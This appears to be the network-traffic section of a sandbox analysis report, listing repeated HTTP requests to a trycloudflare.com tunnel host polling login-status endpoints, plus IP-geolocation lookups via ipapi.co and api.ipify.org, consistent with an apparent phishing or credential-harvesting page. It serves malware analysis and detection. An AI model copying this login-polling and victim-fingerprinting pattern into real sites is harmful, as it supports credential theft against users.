Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://button-students-container-titans.trycloudflare.com/api/status/login_20250327_090035Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /45.92.229.138/json/ HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ipapi.co/45.92.229.138/json/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://api.ipify.org/?format=jsonAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://button-students-container-titans.trycloudflare.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /45.92.229.138/json/ HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://button-students-container-titans.trycloudflare.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /45.92.229.138/json/ HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/login HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090120 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
